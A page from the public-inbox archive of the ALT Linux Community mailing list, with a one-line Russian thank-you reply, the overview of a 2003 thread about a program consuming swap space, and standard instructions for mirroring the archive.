cпасибо. :)

-- 
Bye.Olli.			http://olli.digger.org.ru



^ permalink raw reply	[flat|nested] 18+ messages in thread

end of thread, other threads:[~2003-08-21 13:17 UTC | newest]

Thread overview: 18+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2003-08-21  6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
2003-08-21  6:37 ` [Comm] " Michael Shigorin
2003-08-21  8:13   ` Oleg K. Artemjev
2003-08-21 10:16     ` Michael Shigorin
2003-08-21 10:39       ` Oleg K. Artemjev
2003-08-21 11:01         ` Michael Shigorin
2003-08-21  7:12 ` [Comm] " Sasha Martsinuk
2003-08-21  8:10   ` Oleg K. Artemjev
2003-08-21  8:28     ` Alexey I. Froloff
2003-08-21 10:53 ` [Comm] " Alexey Tourbin
2003-08-21 11:04   ` Alexey Tourbin
2003-08-21 11:24     ` Alexey I. Froloff
2003-08-21 11:30       ` Alexey Tourbin
2003-08-21 12:55         ` Alexey Tourbin
2003-08-21 12:12   ` Oleg K. Artemjev
2003-08-21 12:46     ` Sergey Vlasov
2003-08-21 12:54     ` Alexey Tourbin
2003-08-21 13:17       ` Oleg K. Artemjev

ALT Linux Community general discussions

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/community/0 community/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community community/ http://lore.altlinux.org/community \
		mandrake-russian@linuxteam.iplabs.ru community@lists.altlinux.org community@lists.altlinux.ru community@lists.altlinux.com
	public-inbox-index community

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.community


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git